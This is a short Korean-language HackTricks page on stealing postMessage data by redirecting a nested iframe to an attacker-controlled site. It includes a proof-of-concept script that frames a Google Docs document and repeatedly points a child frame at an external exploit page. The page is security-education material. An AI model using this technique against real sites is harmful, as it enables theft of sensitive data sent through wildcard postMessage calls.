Steal postmessage modifying iframe location

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

자식 iframe 위치 변경하기

이 writeup에 따르면, X-Frame-Header가 없는 웹페이지를 iframe으로 포함시킬 수 있다면, 해당 자식 iframe의 위치를 변경할 수 있습니다.

예를 들어, abc.com이 efg.com을 iframe으로 가지고 있고, abc.com에 X-Frame 헤더가 없다면, **frames.location**을 사용하여 efg.com을 악성 사이트인 evil.com으로 변경할 수 있습니다.

이는 특히 postMessage에서 유용합니다. 페이지가 windowRef.postmessage("","*")와 같은 와일드카드를 사용하여 민감한 데이터를 전송하는 경우, 관련된 iframe(자식 또는 부모)의 위치를 공격자가 제어하는 위치로 변경하여 해당 데이터를 도용할 수 있습니다.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated